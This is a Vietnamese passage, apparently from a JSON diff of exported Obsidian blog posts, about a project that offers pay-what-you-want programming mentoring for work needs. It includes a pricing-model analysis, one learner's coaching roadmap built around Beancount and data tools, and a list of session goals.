**Những khái niệm thiết yếu trong việc xây dựng mental model, đặc biệt là:**\n> - Những khái niệm cơ bản mà nếu không được giải thích thì không thể tự đoán ra được. Công việc ta cần làm đòi hỏi ta phải làm theo những hướng dẫn mặc định rằng ta đã hiểu được chúng rồi, và không cung cấp thêm lời giải thích hoặc xây dựng đủ bối cảnh để ta có thể đoán ý nghĩa của nó. Thường để hiểu được các khái niệm cơ bản này ta sẽ phải quay lại học bài bản, nhưng lúc đó việc học bài bản lại phân tán sự tập trung của ta khỏi công việc cần làm\n> - Các so sánh, ẩn dụ tới một cái gì đó dễ hiểu, dễ liên tưởng hơn\n> - Sự khác biệt, tương phản hoặc tăng tiến về cường độ của những thứ có vẻ na ná nhau hoặc mâu thuẫn nhau. Phân biệt những cái tên khác nhau cho cùng một thứ, và những thứ khác nhau có cùng một cái tên\n> - Những thuật ngữ dùng không được chuẩn xác. Có những cách dùng từ mà với người đã hiểu rồi thì sự thiếu chính xác cũng không thành vấn đề, thậm chí còn tiện lợi, nhưng người mới học thì thấy loạn (các [misnomer](https://en.wikipedia.org/wiki/Misnomer))\n> - Ý đồ thiết kế ([design rationale](https://en.wikipedia.org/wiki/Design_rationale \"Design rationale - Wikipedia\")) để hiểu được điểm mạnh, điểm yếu của các giải pháp khác nhau cho cùng một vấn đề, và vì sao các tác giả của chúng chấp nhận những đánh đổi đó\n> - **Các lỗi thường gặp mà việc tìm hiểu đòi hỏi phải có hiểu biết sâu về vấn đề (pitfall)**\n> - **Những nguồn tốt dể học một cách bài bản**\n> - **Những lĩnh vực, hướng tư duy ít được để ý**\n> \n> Chúng là những thứ mà bạn ước rằng ngày xưa có ai nói với mình như vậy để mình hiểu ra nhanh. Chúng thể hiện được sự vận động, chuyển động của khái niệm.\n\n# Một số nhu cầu ví dụ và những kiến thức cần có để làm được chúng\n### Các nhu cầu công việc ví dụ\n```dataview\nLIST\nFROM \"📜Tài nguyên/Nhu cầu công việc\" \nwhere file.name!=\"Nhu cầu công việc\" \nwhere !contains(file.folder, \"Hậu cần\")\n```\n\n### Các nhu cầu công nghệ ví dụ\n```dataview\nLIST\nFROM \"📜Tài nguyên/Nhu cầu công nghệ\" \nwhere file.name!=\"Nhu cầu công nghệ\" \n```\n\n### Tiêu chí lựa chọn\n- Là những nhu cầu liên quan đến lập trình,\n- Thường đủ phức tạp để các giải pháp làm sẵn hoặc AI không đáp ứng hiệu quả được \n- Thường xuất hiện ở các tổ chức, dự án nhỏ, vốn không có nhiều tiền để thuê ngoài\n- Thường tự làm thì sẽ làm chủ động và hiệu quả hơn là để người khác làm\n- Việc tự học để giải quyết nhu cầu thường tạo cảm giác bị phân tán sự tập trung khỏi công việc quan trọng hơn\n\n### Nhận xét\nViệc có hiểu biết về một lĩnh vực hoặc một giải pháp kỹ thuật sẽ giúp giải quyết các nhu cầu đòi hỏi kiến thức về lĩnh vực/giải pháp kỹ thuật đó. Nên nếu lĩnh vực/giải pháp kỹ thuật ta am hiểu càng có nhiều nhu cầu đổ về nó, thì ta sẽ càng linh hoạt hơn trong tương lai. \n\n### Lưu ý khác\nCác giải pháp kỹ thuật chỉ là những giải pháp thường được dùng, không nhất thiết là giải pháp duy nhất.\n\nMột số buổi có bài viết chi tiết:\n - [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý\\|Tích hợp Trấn Kỳ vào hệ thống của bạn]]{ .md-button .md-button--primary } \n - [[Nhập sự kiện vào Google Calendar\\|Cào dữ liệu web vào Google Calendar]]{ .md-button .md-button--primary } \n# Lộ trình\nVì đây là dự án phục vụ nhu cầu của bạn, nên số lượng buổi học, thời gian học, và hình thức học (trực tuyến hay trực tiếp) đều do bạn quyết định. \n\nNgười ai có khả năng và mong muốn hướng dẫn lại cho người khác sẽ trở thành người hướng dẫn. Hiện tại, người hướng dẫn chính là Lý Minh Nhật ([LinkedIn](https://www.linkedin.com/in/nh%E1%BA%ADt-l%C3%BD/)).\n\nBọn mình cho rằng **bạn nên được quyền quyết định giá trị của buổi hướng dẫn**. Bọn mình khuyến khích bạn đề xuất giá trị của buổi hướng dẫn này với đa dạng hình thức chi trả/trao đổi nhu cầu (ví dụ: tiền hoặc các tác vụ hỗ trợ Quả Cầu theo thoả thuận). Để tham gia hãy điền vào phiếu đăng ký ở dưới. Sau khi xem xét các đăng ký, bọn mình sẽ lựa chọn để trao đổi và hợp tác với những nhu cầu phù hợp.\n\nĐọc thêm các bài sau đây để hiểu hơn về ý tưởng này:\n- [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình|Khi nào thì chiến lược định giá \"trả tuỳ tâm\" đạt được sự bền vững?]]\n- [Các buổi chia sẻ kỹ năng miễn phí với nhau](https://xn--qucu-hr5aza.cc/cac-buoi-chia-se-ky-nang-mien-phi-voi-nhau/?utm_source=CW+%C2%BB+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9&utm_medium=vault&utm_campaign=C%C3%A1c+bu%E1%BB%95i+h%C6%B0%E1%BB%9Bng+d%E1%BA%ABn+l%E1%BA%ADp+tr%C3%ACnh)\n\nThông tin liên hệ:\n- **Facebook:** https://www.facebook.com/qua.cau.the.sphere\n- **Discord:** https://discord.gg/jWTk4EHFK2\n- **Email:** quacau.thesphere@gmail.com\n\n# Tản mạn\nTiêu đề của bài gồm có 3 phần:\n- Các buổi đáp ứng nhu cầu học\n- cách sử dụng công cụ và tư duy lập trình\n- cho nhu cầu công việc\n\nChúng ta hãy nói thêm về những ý này.\n\n## Đáp ứng nhu cầu học không đồng nhất với giảng bài\nBởi vì những buổi này để đáp ứng nhu cầu của người tham gia, nên tất cả sẽ cùng thảo luận với nhau để đạt mục tiêu của mình. Trong những cuộc thảo luận mở như vậy, bất kỳ ai cũng có thể hỏi, và ai trả lời được thì trả lời. Có thể sẽ có một ai đó biết nhiều câu trả lời hơn những người còn lại, nhưng điều đó là không quan trọng. Việc được hỏi cũng sẽ đảm bảo rằng ai cũng hiểu được vấn đề, và họ có đủ thời gian để tiếp thu và nghiền ngẫm trước khi tiếp tục nội dung khác. Những người khác khi giải thích cho họ thì cũng sẽ hiểu sâu hơn, vì cách học tốt nhất là dạy.\n\nNhững tài nguyên bạn biết được bạn sẽ có không gian để chia sẻ và mọi người sẽ cùng bàn luận. Sẽ càng tốt nếu bạn đang có sẵn một dự án và cần biết cách áp dụng kiến thức đó vào dự án của mình thế nào. Chính vì như vậy, nên cho dù ban đầu nó có một mục tiêu được định trước, nhưng việc thảo luận sẽ luôn làm nảy nở những mục tiêu mới. Nếu bạn cảm thấy mục tiêu ban đầu của mình không còn là mục tiêu của những người khác thì sẽ tách ra.\n\n## Giải quyết nhu cầu công việc không đồng nhất với kiếm tiền bằng lập trình\nCác buổi này được tạo ra để giúp bạn tự chủ về công nghệ, để bạn có thể giải quyết bài toán của mình. Bạn còn rất nhiều công việc, và lập trình là một công cụ quan trọng để làm được việc, nhưng lại không phải là bài toán quan trọng nhất. Bạn đến với lập trình không phải vì bạn muốn lập trình, mà là vì bạn cần giải quyết những vấn đề khác, mà những vấn đề đó cần lập trình. [[Mỗi một thắc mắc đều làm tăng thêm khối lượng nhận thức mà chúng ta có trong tâm trí, qua đó làm phân tán sự tập trung của ta khỏi thứ mà ta định làm]]. Thế nên, dù bạn không muốn nước đến chân mới nhảy, nhưng bạn cũng biết rằng nước mà không đến chân thì bạn sẽ không thể nhảy. Nơi đây chỉ là nơi để mọi người cùng nhảy với nhau khi nước chưa đến chân mà thôi (hoặc có thể là có những người nước đến chân luôn rồi).\n\nVì thế, ở đây, các bài học phải giải đáp được nhu cầu có thực của riêng bạn, chứ không phải chỉ là một ví dụ cho dễ hiểu xong rồi xóa đi. \"Bài tập\" giao cho bạn phải là thứ bạn đã muốn làm từ lâu rồi.\n\nNếu từ các buổi này bạn có thể kiếm thêm được tiền thì bọn mình mừng cho bạn, nhưng nó không đủ để bạn trở thành lập trình viên.\n\n## Cách sử dụng công cụ và tư duy lập trình không đồng nhất với kiến thức lập trình căn bản\nĐể có thể phục vụ tốt nhất những người đang cần học lập trình cho một nhu cầu rõ ràng nào đó, nên nội dung sẽ đề cao đến tính \"làm được việc\" hơn là cung cấp một nền tảng vững chắc. Tất nhiên có nền tảng thì rất tốt, và trong quá trình thảo luận thì chắc chắn cũng phải giải thích những thứ nền tảng, nhưng chúng sẽ được cá nhân hoá vào mục tiêu của người tham gia. \n\nNếu bạn muốn bắt đầu từ nền tảng trước thì có lẽ nên đi học các lớp học lập trình. Những lớp như vậy có rất nhiều, và cũng rất nhiều giảng viên tâm huyết và trình độ hơn bọn mình. Bọn mình còn phải đi học họ thì bọn mình không nghĩ bạn cần phải tìm đến bọn mình. \n\nXem thêm:: [[Hướng dẫn đọc code cho người thấy việc biết lập trình là quan trọng nhưng không thể biến nó trở thành ưu tiên cao nhất]]\n\nBảng này so sánh đặc điểm các mô hình học tập khác nhau để bạn lựa chọn cho phù hợp:\n\n| Loại hình →
    Tính chất ↓ | Các buổi đáp ứng nhu cầu | Lớp học trả tiền | Chuỗi video | Cộng đồng thảo luận |\n| --------------------------------------------------- | ------------------------------ | ------------------------------- | ---------------------------------------------------------- | --------------------------------------------------- |\n| Ví dụ ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Oj" + "Ngày tạo": "2023-07-26T08:55:00.000Z", + "Ngày cập nhật": "2024-08-10T10:22:00.000Z", + "id": "Ox" }, { - "Tiêu đề": "Người theo dõi QC", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo mức độ tham gia/Người theo dõi QC", + "Tiêu đề": "Khi nào thì chiến lược định giá \"trả tuỳ tâm\" đạt được sự bền vững?", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Người đang dùng Google Drive\r\n", + "Mô tả bài đăng": "Liệu nó có thể áp dụng cho các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình không?", + "Toàn bộ nội dung": "Theo quyển [Smart Pricing: How Google, Priceline, and Leading Businesses Use Pricing Innovation for Profitability](Raju-Smart-Pricing.pdf) của NXB Wharton School, các dự án áp dụng chiến lược định giá trả tuỳ tâm thành công có 5 đặc điểm chung sau:\n1. Chi phí biên thấp\n2. Khách hàng có ý định sòng phẳng\n3. Sản phẩm có thể bán được ở nhiều mức giá khác nhau (VD: người mua $3, $10 hay $20 đều có cái lý của họ) \n4. Người mua và người bán có mối quan hệ tốt\n5. Thị trường rất cạnh tranh\n\nChúng ta hãy xem xem liệu [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] có đáp ứng được các đặc điểm này hay không.\n\n## Chi phí biên thấp\nChi phí biên là chi phí để sản xuất thêm một sản phẩm. Do ta không thể sản xuất đại trà các buổi này như nhà máy làm hàng loạt sản phẩm nên chắc chắn chi phí biên không thấp rồi. Nhưng nó cũng không quá cao như là bán xe. Hơn nữa việc làm việc trực tiếp cũng là cần thiết cho việc phỏng vấn, nên chắc cũng không gọi là cao.\n\nĐiểm: 6/10\n\n## Khách hàng có ý định sòng phẳng\nKhách hàng không muốn mình bị xem là thiếu sòng phẳng, trục lợi, ích kỷ. Đây là các lý do khiến họ muốn tự điều chỉnh mình để không bị xem là thiếu sòng phẳng khi tham gia các buổi này:\n- Họ sẽ phải ghi lý do vì sao họ thấy giá tiền họ trả là hợp lý\n- Bản chất của việc hướng dẫn buộc họ phải tiếp tục tiếp xúc với người hướng dẫn. Nếu họ trả sòng phẳng, thì sự thiếu sòng phẳng sẽ không ám ảnh họ liên tục\n- Nếu mô hình thành công thì họ sẽ có được những lớp học tiếp theo với giá rẻ. Nếu thất bại thì họ sẽ không có được những lớp học khác cho các nội dung khác với giá rẻ\n\nĐiểm: 7/10\n\n## Sản phẩm có thể bán được ở nhiều mức giá khác nhau \nĐiều kiện này nghĩa là sản phẩm có thể trả theo nhiều mức giá khác nhau (VD: $3, $10 hay $20), mà mỗi mức giá đều có sự hợp lý của nó. Các buổi này có thể đáp ứng được điều này. Tuy nhiên, họ sẽ chỉ trả cho cái lý đó. Để có lời thì sẽ cần những người trả nhiều tiền hơn mức hoà vốn để bù lỗ cho người trả thiếu. Nhưng người trả nhiều tiền hơn vì họ thấy giá trị sản phẩm tương đương với mức giá đó, chứ không phải vì muốn bù lỗ cho người trả thiếu.\n\nĐiểm: 8/10\n\n## Người mua và người bán có mối quan hệ tốt\nViệc tạo thiện cảm cho khách hàng làm họ tự động muốn họ trả lại lòng tốt. Đây là một số cách mà Quả Cầu làm để đạt được điều này:\n - Thể hiện mình đặt nhu cầu của họ lên trên bằng cách cho họ tự định giá sức lao động của mình\n - Cung cấp kiến thức sâu: [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình|Khi nào thì chiến lược định giá \"trả tuỳ tâm\" đạt được sự bền vững?]], [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]], [[Lý do viết Trấn Kỳ|Tại sao các phần mềm nocode hay ChatGPT vẫn không đủ để thay thế lập trình trong việc quản trị?]]\n - [[📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Kế hoạch/Kế hoạch|Kế hoạch tổ chức các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình]] ([[Nhìn thấy được người kia đang làm gì làm tăng sự tin tưởng đối với họ]])\n\nĐiều này cũng có nghĩa là điều kiện này chỉ xảy ra khi khách hàng đã chịu khó đọc bài trước. Với những người không có thời gian đọc bài thì cảm giác tin tưởng sẽ không được phát triển. Xem thêm phần [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình#Vấn đề về sự không đầy đủ thông tin|Vấn đề về sự không đầy đủ thông tin]].\n\n Điểm: 7/10\n \n## Thị trường rất cạnh tranh \nĐã có hằng hà sa số khoá học lập trình rồi, cả miễn phí lẫn có phí, online lẫn offline, tiếng Việt lẫn tiếng Anh. Việc dùng mô hình này khiến ta không phải cạnh tranh về giá với các khoá học đó. \n\nĐiểm: 7/10\n\n# Vấn đề về sự không đầy đủ thông tin\nBạn đang lo lắng rằng với hình thức này:\n- Khách hàng sẽ thấy giá thấp nghĩa là chất lượng kém?\n- Khách hàng sẽ thấy hoang mang khi không biết phải trả bao nhiêu?\n- Khách hàng sẽ thấy nhức đầu khi phải tự định giá, nên dẹp luôn không tham gia nữa?\n\nTất cả những vấn đề này đều có chung một lý do: **khách hàng chưa có đủ thông tin để quyết định**. Khi có đủ thông tin rồi, thì giá không còn là tín hiệu duy nhất phản ánh giá trị của sản phẩm nữa. Người dùng đã hình thành nên giá mà họ thấy là xứng đáng rồi.\n\nNhững bài viết ở phần [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình#Người mua và người bán có mối quan hệ tốt|Người mua và người bán có mối quan hệ tốt]] sẽ cung cấp thông tin cho họ. Câu hỏi đặt ra lúc này là liệu họ có dành thời gian để đọc chúng hay không?\n\nNhư đã phân tích trong các bài đó, đối tượng tham gia tiềm năng nhất là những người đã xác định là phải biết lập trình nhưng không thể dành quá nhiều thời gian để học lập trình từ đầu và cũng không có tiền để thuê lập trình viên riêng. Họ cần tìm một khoá học phù hợp với các giới hạn hiện tại của mình. Người như vậy thì sẽ không thấy phí thời gian cho việc tìm hiểu thông tin, và cũng sẽ không thấy nhức đầu khi phải đọc chúng. Làm việc với họ sẽ đem lại nhiều điều thú vị cho chính người hướng dẫn.\n\nVới những người không đọc trước nên cho rằng chất lượng kém, hoặc thấy rằng không cần trả nhiều tiền vì mình không có nhu cầu quá cao, thì trong phiếu đăng ký họ sẽ khó cạnh tranh lại được với những người thể hiện rằng mình là người xứng đáng có được cơ hội hợp tác này. Họ có thể đến nghe ké.\n\nĐể hiểu thêm về chiến lược định giá này, đọc thêm: [What stops the pay-what-you-want pricing strategy from being more popular? - Economics Stack Exchange](https://economics.stackexchange.com/q/57273/45941)\n\n# Giá trị của những phân tích này\n\nViệc chấm điểm rốt cuộc chỉ là cảm tính, chứ có tiêu chí nào cho nó đâu. Việc khách hàng dùng tiền để đánh giá chất lượng sản phẩm cũng giống như nhà tuyển dụng cầm tấm bằng để đánh giá năng lực ứng viên. Rốt cuộc chúng ta chỉ đang đánh giá người khác qua một con số mà thôi. [[Chỉ theo đuổi một chỉ số là quá đơn giản]].\n\nNên thành ra, việc tự chấm điểm để bạn thấy mô hình này thành công thực ra chỉ là một sự mỉa mai bản thân .\n\n[[Con người thường cố gắng tìm ra mẫu hình, kể cả khi nó không có ở đó]]\nKhông thể kết luận được gì, nhưng có thể dùng cho việc làm các mô hình dự đoán, ứng dụng được cho máy học, hồi quy logistic \n[[Máy học dự đoán xem mẫu hình có bao nhiêu khả năng lặp lại trong tương lai]]. Nó giúp ngành y cứu người, nhưng lại làm cho ngành tư pháp thêm thách thức vì [[Việc dùng máy học có thể làm ta nghĩ mô hình rất phức tạp mặc dù thực chất nó rất đơn giản]]\n![The danger of predictive algorithms in criminal justice | Hany Farid | TEDxAmoskeagMillyard - YouTube](https://youtu.be/p-82YeUPQh0?si=oVmv52ZlZoym0Rum)\n![Imagine Predictive Analytics Putting a Crystal Ball in Your Hand | Dr. Phil Wells | TEDxKanata - YouTube](https://youtu.be/QWps8A-hljw?si=-1uQbDlJ7Ww8sE_S)\n\n[[Trực giác là việc nhìn ra mẫu hình không hơn không kém]]\n[[Sự chuyên gia (expertise) đến từ việc nhìn ra mẫu hình]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Ok" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-16T07:05:00.000Z", + "id": "Oy" }, { - "Tiêu đề": "Người đóng góp nội dung", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo mức độ tham gia/Người đóng góp nội dung", + "Tiêu đề": "Trần Thuý Hoà", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Người tham gia/Trần Thuý Hoà", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Người đang dùng Google Drive\n", + "Toàn bộ nội dung": "# Lộ trình hướng dẫn cho chị Hoà (kế toán, dữ liệu) \n## Chương trình Beancount\nDemo:\n- Đầu vào: [\"Managing Your Finances Using Python\" - Brian Ryall - YouTube](https://www.youtube.com/watch?v=mFzctYkktXQ)\n- Đầu ra: [Income Statement - Example Beancount file](https://fava.pythonanywhere.com/example-beancount-file/income_statement/)\n\n| Đặc điểm | Lợi ích |\n| ------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Viết bằng Python | Cơ hội để thực hành Python |\n| Là chương trình bút toán kép | Ứng dụng được ngay vào công việc của chị |\n| Dùng được trên CLI |
  • [Cơ hội làm quen với terminal](https://lậptrình.quảcầu.cc/✍️Lập%20trình/Hệ%20điều%20hành,%20path%20và%20terminal/Terminal,%20shell,%20console/Terminal%20là%20cái%20chương%20trình%20để%20làm%20việc%20với%20shell?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Trang+chủ)&utm_medium=Vault&utm_campaign=C2&utm_content=&utm_term=), công cụ giúp chị bước vào cái lõi của hệ điều hành
  • Thấy được bản chất của việc đấu nối các phần mềm lại với nhau thế nào. Có thể minh hoạ việc này bằng việc kết hợp nó với Trấn Kỳ
  • |\n| Dữ liệu chương trình lưu dưới dạng tập tin | Hiểu được giá trị của việc lưu dữ liệu tại máy người dùng. Hiểu được việc dùng [Git](https://lậptrình.quảcầu.cc/📊Tổ%20chức%20dữ%20liệu.%20Phân%20tích%20dữ%20liệu/Tổ%20chức%20dữ%20liệu/Git/Git%20giúp%20ta%20du%20hành%20thời%20gian?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Trang+chủ)&utm_medium=Vault&utm_campaign=C2&utm_content=&utm_term=) |\n| Tạo lệnh truy vấn phức tạp được | Tương tự SQL nên cũng giúp làm quen với SQL được |\n| Điều khiển hoàn toàn bằng bàn phím | Giảm đau cổ tay do phải cầm chuột nhiều, nhưng sẽ phải chịu khó đọc hướng dẫn sử dụng |\n| Là phần mềm tự do | Thấy được [[Khi nói đến mã nguồn mở, đa số chỉ để ý tới việc được đọc mã nguồn, chứ không để ý đến quyền được chỉnh sửa và phân phối nó\\|các phần mềm mã nguồn đóng đã xiềng xích mình đến mức độ nào]] |\n| Miễn phí | Cắt giảm chi phí mua phần mềm |\n| Có sẵn trang báo cáo | Đỡ phải tạo trang báo cáo riêng |\n\nCân nhắc:\n- Em chưa dùng nó bao giờ, thuật ngữ kế toán em cũng không rành\n- Các giải pháp dữ liệu khác như PowerBI có thể cũng đáp ứng được các nhu cầu này. Nó sẽ tuỳ vào việc chị muốn một phần mềm chuyên môn hoá hay có khả năng linh hoạt\n\nXem thêm:: [So sách chức năng của Misa với Beancount](https://kiếmtiền.quảcầu.cc/Tài-nguyên-hỗ-trợ/Quang-cảnh-thị-trường/Chương-trình-quản-lý-tiền/4-Loại-chương-trình/Chương-trình-kế-toán?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Dự+án)&utm_medium=Vault&utm_campaign=&utm_content=📐+Dự+án%2FCác+buổi+đáp+ứng+nhu+cầu+học+cách+sử+dụng+công+cụ+và+tư+duy+lập+trình+cho+nhu+cầu+công+việc%2F9+Blog%2FNgười+tham+gia%2FTrần+Thuý+Hoà.md&utm_term=) \n# Trấn Kỳ\n[Làm sao để đưa VNPAY vào luồng hoạt động của cửa hàng?](https://slide.quảcầu.cc/Đáp%20ứng%20nhu%20cầu%20doanh%20nghiệp/VNPAY.html?utm_source=Vault+C+Obsidian%2C+quản+lý+dự+án+và+công+cụ+nghĩ+(Dự+án)&utm_medium=Vault&utm_campaign=&utm_content=📐+Dự+án%2FCác+buổi+đáp+ứng+nhu+cầu+học+cách+sử+dụng+công+cụ+và+tư+duy+lập+trình+cho+nhu+cầu+công+việc%2F9+Blog%2FNgười+tham+gia%2FTrần+Thuý+Hoà.md&utm_term=) \n# Các vấn đề về Excel \n```dataview\nlist\nfrom \"⚡Hiểu biết sâu/Công nghệ thông tin/Hệ thống thông tin/No code, low code/Excel\" \n```\n# Giới thiệu chung\n![[Pasted image 20240221020431.png]]\n\nE ơi như hôm trước trao đổi, chị gửi lại em 1 số nội dung liên quan đến data/lập trình chị muốn tìm hiểu và muốn nhờ em bố trí giúp chị 1 lộ trình Coach 1:1 để chị có thể tìm hiểu về lập trình/AI/data và các công cụ . Em xem và advise giúp chị 1 lộ trình nhé. \nVề thời điểm học, chị có thể start luôn tuần này vào buổi tối hoặc cuối tuần nhé. \nVề việc chi trả, chị cũng đọc và thấy em offer việc định giá \"trả tùy tâm\" nhưng chị cũng ko có nhiều insight lắm nên có thể em cho chị 1 range nào cụ thể để chị em mình trao đổi cho dễ e nhé.\n\n---\n## Tổng quan\nĐầu tiên, em muốn giải thích một chút về ngành công nghệ thông tin. Ngành này chia ra 4 chuyên môn chính:\n- **Khoa học máy tính:** hiểu biết chung về máy tính\n- **Kỹ thuật phần mềm:** ứng dụng những hiểu biết về máy tính trong việc bảo nó làm điều mình cần nó làm (lập trình, tự động hoá, viết code) \n- **Hệ thống thông tin:** ứng dụng của việc viết code đó vào việc quản lý thông tin nội bộ. Các ERP, CRM là những ví dụ\n- **Phân tích dữ liệu:** ứng dụng của việc viết code đó vào việc tạo báo cáo và thêm insight. Đây là cái chị cần\n\nBất cứ sản phẩm công nghệ nào cũng là tổ hợp của 4 cái này, đặc biệt là 2 cái đầu. Em có thể tự tin có thể giải đáp được mọi thắc mắc của chị về 2 cái đầu, cái thứ 3 cũng khá tự tin, nhưng cái cuối thì không tự tin bằng. \n## Phân tích dữ liệu\nMột nghiệp vụ liên quan đến dữ liệu thường có 4 bước sau đây:\n- Thu thập dữ liệu\n- Lưu trữ dữ liệu\n- Xử lý dữ liệu\n- Báo cáo dữ liệu\n\nThì cũng tương tự như trên, em dự đoán mình có thể trả lời khoảng 70% những thắc mắc của chị liên quan tới 3 cái đầu, còn cái cuối thì không nhiều lắm. Mà có lẽ bước đó là cái chị quan tâm nhất.\n\nTrong mục xử lý dữ liệu có một số chủ đề nữa:\n- Xử lý ngôn ngữ tự nhiên\n- Máy học và trí tuệ nhân tạo\n\nNhững cái này là cái mà em nghĩ chị nói tới khi nói \"cập nhật xu thế công nghệ\", vì khá nhiều xu thế công nghệ thực ra chỉ là 2 cái", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-28T11:00:00.000Z", - "id": "Ol" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-08-20T14:03:00.000Z", + "id": "Oz" }, { - "Tiêu đề": "TNV QC", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo mức độ tham gia/TNV QC", + "Tiêu đề": "Các buổi hướng dẫn hiểu các công cụ và kỹ thuật lập trình", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Theo kỹ thuật/Các buổi hướng dẫn hiểu các công cụ và kỹ thuật lập trình", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Người đang dùng Google Drive\r\n", + "Toàn bộ nội dung": "# Kết quả đầu ra\n- Biết được người ta nói cái gì khi google \n- Biết cách dùng github\n\n# Mục tiêu\n- Hiểu được một số khái niệm của ngôn ngữ hướng vật thể: object, method, array, for, if, import, function, type, interface\n- Nắm được cách làm việc với:\n\t- Git\n\t- Terminal\n\t- IDE:\n\t\t- Hiểu được IDE đang cố gắng nói cho mình cái gì\n- Nắm được các kỹ năng đọc code product:\n\t- Hiểu được cấu trúc một dự án\n\t- Hiểu một số nguyên tắc viết code để dễ bảo trì, mở rộng tính năng\n\t- Biết một số kỹ thuật debug: console.log, debugger, unit test \n\n# Ngôn ngữ\nJavascript/TypeScript \nOOP, SOLID, debug, unicode, design pattern \nVS Code, Deno, Fibery\nGit, terminal \n\n\n[[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]{ .md-button .md-button--primary }", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Om" + "Ngày tạo": "2023-09-05T09:17:00.000Z", + "Ngày cập nhật": "2024-02-06T10:59:00.000Z", + "id": "O-" }, { - "Tiêu đề": "Người muốn quản lý cuộc sống cá nhân", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Công cụ cho hệ sinh thái/4 Các bên liên quan/Loại đối tượng/Theo nhu cầu/Người muốn quản lý cuộc sống cá nhân", + "Tiêu đề": "Hướng dẫn đọc code cho người thấy việc biết lập trình là quan trọng nhưng không thể biến nó trở thành ưu tiên cao nhất", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/9 Blog/Theo kỹ thuật/Hướng dẫn đọc code cho người thấy việc biết lập trình là quan trọng nhưng không thể biến nó trở thành ưu tiên cao nhất", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Công cụ cho hệ sinh thái", + "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Niềm tin về họ:: Họ không có một cách để thấy được nhu cầu đối tác thuận 